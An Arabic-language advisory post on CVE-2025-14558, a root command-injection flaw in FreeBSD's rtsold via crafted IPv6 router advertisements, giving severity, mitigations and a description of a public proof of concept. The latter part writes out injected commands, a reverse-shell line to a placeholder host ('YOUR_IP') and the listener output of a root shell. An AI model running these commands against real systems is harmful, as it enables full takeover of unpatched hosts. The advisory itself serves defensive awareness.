🚨 CVE-2025-14558 : تنفيذ برمجي عن بُعد حرج في FreeBSD (IPv6)

🧠 نظرة عامة

CVE-2025-14558 هي ثغرة تنفيذ برمجي عن بُعد (RCE) حرجة تؤثر على أنظمة FreeBSD التي تستخدم خدمات طلب الموجّه عبر IPv6. تسمح ثغرة في كيفية معالجة مدخلات الشبكة غير الموثوقة للمهاجمين بتنفيذ أوامر شل عشوائية.

📊 الخطورة

• درجة CVSS v3: 9.8 / 10 🔥
• مستوى الخطورة: حرج
• الصلاحيات المطلوبة: لا شيء
• تفاعل المستخدم: لا شيء

🎯 المكونات المتأثرة

• rtsol(8)
• rtsold(8)
• أنظمة FreeBSD التي تستخدم التكوين التلقائي لعناوين IPv6 بدون حالة (SLAAC)

⚙️ التفاصيل التقنية

• يمكن أن تتضمن حزم إعلانات التوجيه (RA) IPv6 الخبيثة خيار قائمة بحث النطاق مصممًا بعناية
• يتم تمرير الإدخال بطريقة غير آمنة إلى resolvconf(8)
• الاقتباس غير الصحيح لأوامر الشل يسمح بحقن الأوامر
• يؤدي إلى تنفيذ أوامر عشوائية بصلاحيات الجذر (root)

🕸️ ناقل الهجوم

• 🌐 قائم على الشبكة
• 📍 يجب أن يكون المهاجم على نفس قطاع الشبكة المحلية
• لا يتطلب أي مصادقة أو بيانات اعتماد

💥 التأثير

إذا تم استغلالها بنجاح، يمكن للمهاجم:

• تحقيق اختراق كامل للنظام
• تنفيذ أوامر عشوائية
• تعديل تكوين النظام
• إنشاء استمرارية أو حركة جانبية

🧪 توفر الاستغلال

• ✅ يوجد إثبات مفهوم (PoC) عام
• يوضح تنفيذ الأوامر عبر حزم IPv6 RA المصممة بعناية

🛡️ التخفيف والدفاع

إجراءات موصى بها بشدة:

• 🔧 تطبيق التصحيحات الأمنية الرسمية من FreeBSD
• 🚫 تعطيل rtsol / rtsold إذا لم تكن إعلانات IPv6 RA مطلوبة
• 🔒 تصفية أو حظر إعلانات التوجيه IPv6 غير الموثوقة
• 🧱 استخدام تجزئة الشبكة للحد من تعرض المهاجم المحلي

📝 الخلاصة الرئيسية

أي نظام FreeBSD يستمع إلى إعلانات التوجيه IPv6 على شبكة غير موثوقة يكون في خطر كبير. طبّق التصحيح فورًا أو عطّل الخدمات المتأثرة.

إذا كان نص إثبات المفهوم (PoC) لـ CVE-2025-14558 يعمل بنجاح على نظام FreeBSD ضعيف (غير مُصحح، مع تشغيل rtsold ومعالجة رسائل IPv6 RA):

على الجهاز المستهدف (جهاز FreeBSD الضعيف):

• يتم تنفيذ الأمر المُحقن فورًا بصلاحيات الجذر (root) (نظرًا لأن rtsold يعمل بصلاحيات الجذر ويستدعي /sbin/resolvconf مع النطاق الخبيث).
• لا يظهر أي إخراج مرئي في وحدة التحكم أو السجلات افتراضيًا (يعمل الأمر بصمت في الخلفية).
• أمثلة على ما يحدث:

  • لاختبار بسيط مثل --command "id > /tmp/pwned":

    • يتم إنشاء ملف /tmp/pwned يحتوي على إخراج مثل:

      root@kitploit:~

      uid=0(root) gid=0(wheel) groups=0(wheel)
      

  • بالنسبة لـ --command "touch /tmp/exploit_success":

    • يظهر ملف فارغ باسم /tmp/exploit_success.

  • لصدفة عكسية مثل --command "bash -i >& /dev/tcp/YOUR_IP/4444 0>&1":

    • لا يحدث تغيير مرئي فوري على الهدف، ولكن يتم محاولة اتصال بالمستمع الخاص بك.

تحقق على الهدف باستخدام أوامر مثل:

ls -l /tmp/pwned
cat /tmp/pwned

على جانب المهاجم (عند تشغيل السكريبت):

• يخرج السكريبت:

  root@kitploit:~

  [+] Sending malicious RA on eth0
  [+] Injected command: id > /tmp/pwned
  [+] Target must run vulnerable rtsold and process the RA
  [+] Done. Check target for execution (e.g. /tmp/pwned)
  
  

• بالنسبة للصدفة العكسية: في حالة النجاح، سيتلقى nc -lvnp 4444 اتصالًا وصدفة بصلاحيات الجذر:

  root@kitploit:~

  listening on [any] 4444 ...
  connect to [YOUR_IP] from (UNKNOWN) [target_ip] XXXXX
  bash: cannot set terminal process groups: No job control in this shell
  bash: no job control in this shell
  root@vulnerable-host:~ #
  

  ---

  (لديك الآن صدفة بصلاحيات الجذر – اكتب أوامر مثل id, whoami, إلخ.)

إذا لم يعمل:

• لا يتم إنشاء ملف / لا يوجد اتصال → الأسباب: الهدف مُصحح، rtsold غير قيد التشغيل، لست على نفس شبكة L2، جدار الحماية يحظر RA، أو IPv6 معطل.

هذا ملاحظ فقط في مختبر مُتحكم به على نظام FreeBSD ضعيف (قبل تصحيح 16 ديسمبر 2025). لا توجد تقارير استغلال عامة في العالم الحقيقي حتى 23 ديسمبر 2025. طبّق التصحيح فورًا في بيئة الإنتاج.

⚠️ إخلاء مسؤولية: هذه المعلومات مقدمة لأغراض إعلامية فقط ولا تشكل نصيحة أمنية أو قانونية أو تشغيلية. قم دائمًا بمراجعة واتباع الإرشادات والتصحيحات والتوجيهات الرسمية من المورد قبل اتخاذ إجراءات المعالجة.